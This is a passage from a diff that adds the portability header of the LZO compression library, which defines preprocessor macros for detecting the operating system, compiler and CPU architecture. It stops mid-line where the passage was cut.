/*empty*/ +#define LZO_PP_CONCAT1(a) a +#define LZO_PP_CONCAT2(a,b) a ## b +#define LZO_PP_CONCAT3(a,b,c) a ## b ## c +#define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d +#define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e +#define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f +#define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g +#define LZO_PP_ECONCAT0() LZO_PP_CONCAT0() +#define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a) +#define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b) +#define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c) +#define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d) +#define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e) +#define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f) +#define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g) +#define LZO_PP_EMPTY /*empty*/ +#define LZO_PP_EMPTY0() /*empty*/ +#define LZO_PP_EMPTY1(a) /*empty*/ +#define LZO_PP_EMPTY2(a,b) /*empty*/ +#define LZO_PP_EMPTY3(a,b,c) /*empty*/ +#define LZO_PP_EMPTY4(a,b,c,d) /*empty*/ +#define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/ +#define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/ +#define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/ +#if 1 +#define LZO_CPP_STRINGIZE(x) #x +#define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x) +#define LZO_CPP_CONCAT2(a,b) a ## b +#define LZO_CPP_CONCAT3(a,b,c) a ## b ## c +#define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d +#define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e +#define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f +#define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g +#define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b) +#define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c) +#define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d) +#define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e) +#define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f) +#define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g) +#endif +#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b)) +#if 1 && defined(__cplusplus) +# if !defined(__STDC_CONSTANT_MACROS) +# define __STDC_CONSTANT_MACROS 1 +# endif +# if !defined(__STDC_LIMIT_MACROS) +# define __STDC_LIMIT_MACROS 1 +# endif +#endif +#if defined(__cplusplus) +# define LZO_EXTERN_C extern "C" +# define LZO_EXTERN_C_BEGIN extern "C" { +# define LZO_EXTERN_C_END } +#else +# define LZO_EXTERN_C extern +# define LZO_EXTERN_C_BEGIN /*empty*/ +# define LZO_EXTERN_C_END /*empty*/ +#endif +#if !defined(__LZO_OS_OVERRIDE) +#if (LZO_OS_FREESTANDING) +# define LZO_INFO_OS "freestanding" +#elif (LZO_OS_EMBEDDED) +# define LZO_INFO_OS "embedded" +#elif 1 && defined(__IAR_SYSTEMS_ICC__) +# define LZO_OS_EMBEDDED 1 +# define LZO_INFO_OS "embedded" +#elif defined(__CYGWIN__) && defined(__GNUC__) +# define LZO_OS_CYGWIN 1 +# define LZO_INFO_OS "cygwin" +#elif defined(__EMX__) && defined(__GNUC__) +# define LZO_OS_EMX 1 +# define LZO_INFO_OS "emx" +#elif defined(__BEOS__) +# define LZO_OS_BEOS 1 +# define LZO_INFO_OS "beos" +#elif defined(__Lynx__) +# define LZO_OS_LYNXOS 1 +# define LZO_INFO_OS "lynxos" +#elif defined(__OS400__) +# define LZO_OS_OS400 1 +# define LZO_INFO_OS "os400" +#elif defined(__QNX__) +# define LZO_OS_QNX 1 +# define LZO_INFO_OS "qnx" +#elif defined(__BORLANDC__) && defined(__DPMI32__) && (__BORLANDC__ >= 0x0460) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +#elif defined(__BORLANDC__) && defined(__DPMI16__) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +#elif defined(__ZTC__) && defined(DOS386) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +#elif defined(__OS2__) || defined(__OS2V2__) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_OS216 1 +# define LZO_INFO_OS "os216" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_OS2 1 +# define LZO_INFO_OS "os2" +# else +# error "check your limits.h header" +# endif +#elif defined(__WIN64__) || defined(_WIN64) || defined(WIN64) +# define LZO_OS_WIN64 1 +# define LZO_INFO_OS "win64" +#elif defined(__WIN32__) || defined(_WIN32) || defined(WIN32) || defined(__WINDOWS_386__) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +#elif defined(__MWERKS__) && defined(__INTEL__) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +#elif defined(__WINDOWS__) || defined(_WINDOWS) || defined(_Windows) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_WIN16 1 +# define LZO_INFO_OS "win16" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +# else +# error "check your limits.h header" +# endif +#elif defined(__DOS__) || defined(__MSDOS__) || defined(_MSDOS) || defined(MSDOS) || (defined(__PACIFIC__) && defined(DOS)) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +# else +# error "check your limits.h header" +# endif +#elif defined(__WATCOMC__) +# if defined(__NT__) && (UINT_MAX == LZO_0xffffL) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +# elif defined(__NT__) && (__WATCOMC__ < 1100) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +# elif defined(__linux__) || defined(__LINUX__) +# define LZO_OS_POSIX 1 +# define LZO_INFO_OS "posix" +# else +# error "please specify a target using the -bt compiler option" +# endif +#elif defined(__palmos__) +# define LZO_OS_PALMOS 1 +# define LZO_INFO_OS "palmos" +#elif defined(__TOS__) || defined(__atarist__) +# define LZO_OS_TOS 1 +# define LZO_INFO_OS "tos" +#elif defined(macintosh) && !defined(__ppc__) +# define LZO_OS_MACCLASSIC 1 +# define LZO_INFO_OS "macclassic" +#elif defined(__VMS) +# define LZO_OS_VMS 1 +# define LZO_INFO_OS "vms" +#elif (defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__) +# define LZO_OS_CONSOLE 1 +# define LZO_OS_CONSOLE_PS2 1 +# define LZO_INFO_OS "console" +# define LZO_INFO_OS_CONSOLE "ps2" +#elif defined(__mips__) && defined(__psp__) +# define LZO_OS_CONSOLE 1 +# define LZO_OS_CONSOLE_PSP 1 +# define LZO_INFO_OS "console" +# define LZO_INFO_OS_CONSOLE "psp" +#else +# define LZO_OS_POSIX 1 +# define LZO_INFO_OS "posix" +#endif +#if (LZO_OS_POSIX) +# if defined(_AIX) || defined(__AIX__) || defined(__aix__) +# define LZO_OS_POSIX_AIX 1 +# define LZO_INFO_OS_POSIX "aix" +# elif defined(__FreeBSD__) +# define LZO_OS_POSIX_FREEBSD 1 +# define LZO_INFO_OS_POSIX "freebsd" +# elif defined(__hpux__) || defined(__hpux) +# define LZO_OS_POSIX_HPUX 1 +# define LZO_INFO_OS_POSIX "hpux" +# elif defined(__INTERIX) +# define LZO_OS_POSIX_INTERIX 1 +# define LZO_INFO_OS_POSIX "interix" +# elif defined(__IRIX__) || defined(__irix__) +# define LZO_OS_POSIX_IRIX 1 +# define LZO_INFO_OS_POSIX "irix" +# elif defined(__linux__) || defined(__linux) || defined(__LINUX__) +# define LZO_OS_POSIX_LINUX 1 +# define LZO_INFO_OS_POSIX "linux" +# elif defined(__APPLE__) && defined(__MACH__) +# if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000) +# define LZO_OS_POSIX_DARWIN 1040 +# define LZO_INFO_OS_POSIX "darwin_iphone" +# elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040) +# define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ +# define LZO_INFO_OS_POSIX "darwin" +# else +# define LZO_OS_POSIX_DARWIN 1 +# define LZO_INFO_OS_POSIX "darwin" +# endif +# define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN +# elif defined(__minix__) || defined(__minix) +# define LZO_OS_POSIX_MINIX 1 +# define LZO_INFO_OS_POSIX "minix" +# elif defined(__NetBSD__) +# define LZO_OS_POSIX_NETBSD 1 +# define LZO_INFO_OS_POSIX "netbsd" +# elif defined(__OpenBSD__) +# define LZO_OS_POSIX_OPENBSD 1 +# define LZO_INFO_OS_POSIX "openbsd" +# elif defined(__osf__) +# define LZO_OS_POSIX_OSF 1 +# define LZO_INFO_OS_POSIX "osf" +# elif defined(__solaris__) || defined(__sun) +# if defined(__SVR4) || defined(__svr4__) +# define LZO_OS_POSIX_SOLARIS 1 +# define LZO_INFO_OS_POSIX "solaris" +# else +# define LZO_OS_POSIX_SUNOS 1 +# define LZO_INFO_OS_POSIX "sunos" +# endif +# elif defined(__ultrix__) || defined(__ultrix) +# define LZO_OS_POSIX_ULTRIX 1 +# define LZO_INFO_OS_POSIX "ultrix" +# elif defined(_UNICOS) +# define LZO_OS_POSIX_UNICOS 1 +# define LZO_INFO_OS_POSIX "unicos" +# else +# define LZO_OS_POSIX_UNKNOWN 1 +# define LZO_INFO_OS_POSIX "unknown" +# endif +#endif +#endif +#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +# if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (UINT_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if defined(CIL) && defined(_GNUCC) && defined(__GNUC__) +# define LZO_CC_CILLY 1 +# define LZO_INFO_CC "Cilly" +# if defined(__CILLY__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CILLY__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif 0 && defined(SDCC) && defined(__VERSION__) && !defined(__GNUC__) +# define LZO_CC_SDCC 1 +# define LZO_INFO_CC "sdcc" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC) +#elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__) +# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0)) +# define LZO_INFO_CC "Pathscale C" +# define LZO_INFO_CCVER __PATHSCALE__ +# if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0) +# define LZO_CC_INTELC __INTEL_COMPILER +# define LZO_INFO_CC "Intel C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER) +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_INTELC_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__POCC__) && defined(_WIN32) +# define LZO_CC_PELLESC 1 +# define LZO_INFO_CC "Pelles C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__) +#elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# if defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# else +# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# endif +# define LZO_CC_ARMCC __ARMCC_VERSION +# define LZO_INFO_CC "ARM C Compiler" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__) +# if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__) +# define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0)) +# else +# define LZO_CC_CLANG 0x010000L +# endif +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_CLANG_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +# define LZO_INFO_CC "clang" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# if defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# else +# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# endif +# define LZO_CC_LLVM LZO_CC_LLVM_GNUC +# define LZO_INFO_CC "llvm-gcc" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__ACK__) && defined(_ACK) +# define LZO_CC_ACK 1 +# define LZO_INFO_CC "Amsterdam Compiler Kit C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__ARMCC_VERSION) && !defined(__GNUC__) +# define LZO_CC_ARMCC __ARMCC_VERSION +# define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION +# define LZO_INFO_CC "ARM C Compiler" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION) +#elif defined(__AZTEC_C__) +# define LZO_CC_AZTECC 1 +# define LZO_INFO_CC "Aztec C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__AZTEC_C__) +#elif defined(__CODEGEARC__) +# define LZO_CC_CODEGEARC 1 +# define LZO_INFO_CC "CodeGear C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CODEGEARC__) +#elif defined(__BORLANDC__) +# define LZO_CC_BORLANDC 1 +# define LZO_INFO_CC "Borland C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__BORLANDC__) +#elif defined(_CRAYC) && defined(_RELEASE) +# define LZO_CC_CRAYC 1 +# define LZO_INFO_CC "Cray C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_RELEASE) +#elif defined(__DMC__) && defined(__SC__) +# define LZO_CC_DMC 1 +# define LZO_INFO_CC "Digital Mars C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DMC__) +#elif defined(__DECC) +# define LZO_CC_DECC 1 +# define LZO_INFO_CC "DEC C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC) +#elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0) +# define LZO_CC_GHS 1 +# define LZO_INFO_CC "Green Hills C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER) +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_GHS_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__HIGHC__) +# define LZO_CC_HIGHC 1 +# define LZO_INFO_CC "MetaWare High C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__HP_aCC) && ((__HP_aCC-0) > 0) +# define LZO_CC_HPACC __HP_aCC +# define LZO_INFO_CC "HP aCC" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC) +#elif defined(__IAR_SYSTEMS_ICC__) +# define LZO_CC_IARC 1 +# define LZO_INFO_CC "IAR C" +# if defined(__VER__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__VER__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__IBMC__) && ((__IBMC__-0) > 0) +# define LZO_CC_IBMC __IBMC__ +# define LZO_INFO_CC "IBM C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__) +#elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0) +# define LZO_CC_IBMC __IBMCPP__ +# define LZO_INFO_CC "IBM C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__) +#elif defined(__KEIL__) && defined(__C166__) +# define LZO_CC_KEILC 1 +# define LZO_INFO_CC "Keil C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__C166__) +#elif defined(__LCC__) && defined(_WIN32) && defined(__LCCOPTIMLEVEL) +# define LZO_CC_LCCWIN32 1 +# define LZO_INFO_CC "lcc-win32" +# define LZO_INFO_CCVER "unknown" +#elif defined(__LCC__) +# define LZO_CC_LCC 1 +# define LZO_INFO_CC "lcc" +# if defined(__LCC_VERSION__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__LCC_VERSION__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__MWERKS__) && ((__MWERKS__-0) > 0) +# define LZO_CC_MWERKS __MWERKS__ +# define LZO_INFO_CC "Metrowerks C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__) +#elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386) +# define LZO_CC_NDPC 1 +# define LZO_INFO_CC "Microway NDP C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__PACIFIC__) +# define LZO_CC_PACIFICC 1 +# define LZO_INFO_CC "Pacific C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__) +#elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) +# if defined(__PGIC_PATCHLEVEL__) +# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0)) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__) +# else +# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0" +# endif +# define LZO_INFO_CC "Portland Group PGI C" +#elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__)) +# define LZO_CC_PGI 1 +# define LZO_INFO_CC "Portland Group PGI C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__PUREC__) && defined(__TOS__) +# define LZO_CC_PUREC 1 +# define LZO_INFO_CC "Pure C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PUREC__) +#elif defined(__SC__) && defined(__ZTC__) +# define LZO_CC_SYMANTECC 1 +# define LZO_INFO_CC "Symantec C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__) +#elif defined(__SUNPRO_C) +# define LZO_INFO_CC "SunPro C" +# if ((__SUNPRO_C-0) > 0) +# define LZO_CC_SUNPROC __SUNPRO_C +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C) +# else +# define LZO_CC_SUNPROC 1 +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__SUNPRO_CC) +# define LZO_INFO_CC "SunPro C" +# if ((__SUNPRO_CC-0) > 0) +# define LZO_CC_SUNPROC __SUNPRO_CC +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC) +# else +# define LZO_CC_SUNPROC 1 +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__TINYC__) +# define LZO_CC_TINYC 1 +# define LZO_INFO_CC "Tiny C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TINYC__) +#elif defined(__TSC__) +# define LZO_CC_TOPSPEEDC 1 +# define LZO_INFO_CC "TopSpeed C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TSC__) +#elif defined(__WATCOMC__) +# define LZO_CC_WATCOMC 1 +# define LZO_INFO_CC "Watcom C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__WATCOMC__) +#elif defined(__TURBOC__) +# define LZO_CC_TURBOC 1 +# define LZO_INFO_CC "Turbo C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TURBOC__) +#elif defined(__ZTC__) +# define LZO_CC_ZORTECHC 1 +# define LZO_INFO_CC "Zortech C" +# if ((__ZTC__-0) == 0x310) +# define LZO_INFO_CCVER "0x310" +# else +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__) +# endif +#elif defined(__GNUC__) && defined(__VERSION__) +# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# elif defined(__GNUC_MINOR__) +# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# else +# define LZO_CC_GNUC (__GNUC__ * 0x10000L) +# endif +# define LZO_INFO_CC "gcc" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_MSC _MSC_VER +# define LZO_INFO_CC "Microsoft C" +# if defined(_MSC_FULL_VER) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER) +# else +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) +# endif +#else +# define LZO_CC_UNKNOWN 1 +# define LZO_INFO_CC "unknown" +# define LZO_INFO_CCVER "unknown" +#endif +#if (LZO_CC_GNUC) && defined(__OPEN64__) +# if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__) +# define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0)) +# define LZO_CC_OPEN64_GNUC LZO_CC_GNUC +# endif +#endif +#if (LZO_CC_GNUC) && defined(__PCC__) +# if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__) +# define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0)) +# define LZO_CC_PCC_GNUC LZO_CC_GNUC +# endif +#endif +#if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER) +# error "LZO_CC_MSC: _MSC_FULL_VER is not defined" +#endif +#if !defined(__LZO_ARCH_OVERRIDE) && !(LZO_ARCH_GENERIC) && defined(_CRAY) +# if (UINT_MAX > LZO_0xffffffffL) && defined(_CRAY) +# if defined(_CRAYMPP) || defined(_CRAYT3D) || defined(_CRAYT3E) +# define LZO_ARCH_CRAY_MPP 1 +# elif defined(_CRAY1) +# define LZO_ARCH_CRAY_PVP 1 +# endif +# endif +#endif +#if !defined(__LZO_ARCH_OVERRIDE) +#if (LZO_ARCH_GENERIC) +# define LZO_INFO_ARCH "generic" +#elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +# define LZO_ARCH_I086 1 +# define LZO_INFO_ARCH "i086" +#elif defined(__aarch64__) +# define LZO_ARCH_ARM64 1 +# define LZO_INFO_ARCH "arm64" +#elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA) +# define LZO_ARCH_ALPHA 1 +# define LZO_INFO_ARCH "alpha" +#elif (LZO_ARCH_CRAY_MPP) && (defined(_CRAYT3D) || defined(_CRAYT3E)) +# define LZO_ARCH_ALPHA 1 +# define LZO_INFO_ARCH "alpha" +#elif defined(__amd64__) || defined(__x86_64__) || defined(_M_AMD64) +# define LZO_ARCH_AMD64 1 +# define LZO_INFO_ARCH "amd64" +#elif defined(__thumb__) || (defined(_M_ARM) && defined(_M_THUMB)) +# define LZO_ARCH_ARM 1 +# define LZO_ARCH_ARM_THUMB 1 +# define LZO_INFO_ARCH "arm_thumb" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__) +# define LZO_ARCH_ARM 1 +# if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1) +# define LZO_ARCH_ARM_THUMB 1 +# define LZO_INFO_ARCH "arm_thumb" +# elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2) +# define LZO_INFO_ARCH "arm" +# else +# define LZO_INFO_ARCH "arm" +# endif +#elif defined(__arm__) || defined(_M_ARM) +# define LZO_ARCH_ARM 1 +# define LZO_INFO_ARCH "arm" +#elif (UINT_MAX <= LZO_0xffffL) && defined(__AVR__) +# define LZO_ARCH_AVR 1 +# define LZO_INFO_ARCH "avr" +#elif defined(__avr32__) || defined(__AVR32__) +# define LZO_ARCH_AVR32 1 +# define LZO_INFO_ARCH "avr32" +#elif defined(__bfin__) +# define LZO_ARCH_BLACKFIN 1 +# define LZO_INFO_ARCH "blackfin" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C166__) +# define LZO_ARCH_C166 1 +# define LZO_INFO_ARCH "c166" +#elif defined(__cris__) +# define LZO_ARCH_CRIS 1 +# define LZO_INFO_ARCH "cris" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCEZ80__) +# define LZO_ARCH_EZ80 1 +# define LZO_INFO_ARCH "ez80" +#elif defined(__H8300__) || defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_ARCH_H8300 1 +# define LZO_INFO_ARCH "h8300" +#elif defined(__hppa__) || defined(__hppa) +# define LZO_ARCH_HPPA 1 +# define LZO_INFO_ARCH "hppa" +#elif defined(__386__) || defined(__i386__) || defined(__i386) || defined(_M_IX86) || defined(_M_I386) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif (LZO_CC_ZORTECHC && defined(__I86__)) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif (LZO_OS_DOS32 && LZO_CC_HIGHC) && defined(_I386) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif defined(__ia64__) || defined(__ia64) || defined(_M_IA64) +# define LZO_ARCH_IA64 1 +# define LZO_INFO_ARCH "ia64" +#elif (UINT_MAX == LZO_0xffffL) && defined(__m32c__) +# define LZO_ARCH_M16C 1 +# define LZO_INFO_ARCH "m16c" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCM16C__) +# define LZO_ARCH_M16C 1 +# define LZO_INFO_ARCH "m16c" +#elif defined(__m32r__) +# define LZO_ARCH_M32R 1 +# define LZO_INFO_ARCH "m32r" +#elif (LZO_OS_TOS) || defined(__m68k__) || defined(__m68000__) || defined(__mc68000__) || defined(__mc68020__) || defined(_M_M68K) +# define LZO_ARCH_M68K 1 +# define LZO_INFO_ARCH "m68k" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C251__) +# define LZO_ARCH_MCS251 1 +# define LZO_INFO_ARCH "mcs251" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C51__) +# define LZO_ARCH_MCS51 1 +# define LZO_INFO_ARCH "mcs51" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC8051__) +# define LZO_ARCH_MCS51 1 +# define LZO_INFO_ARCH "mcs51" +#elif defined(__mips__) || defined(__mips) || defined(_MIPS_ARCH) || defined(_M_MRX000) +# define LZO_ARCH_MIPS 1 +# define LZO_INFO_ARCH "mips" +#elif (UINT_MAX == LZO_0xffffL) && 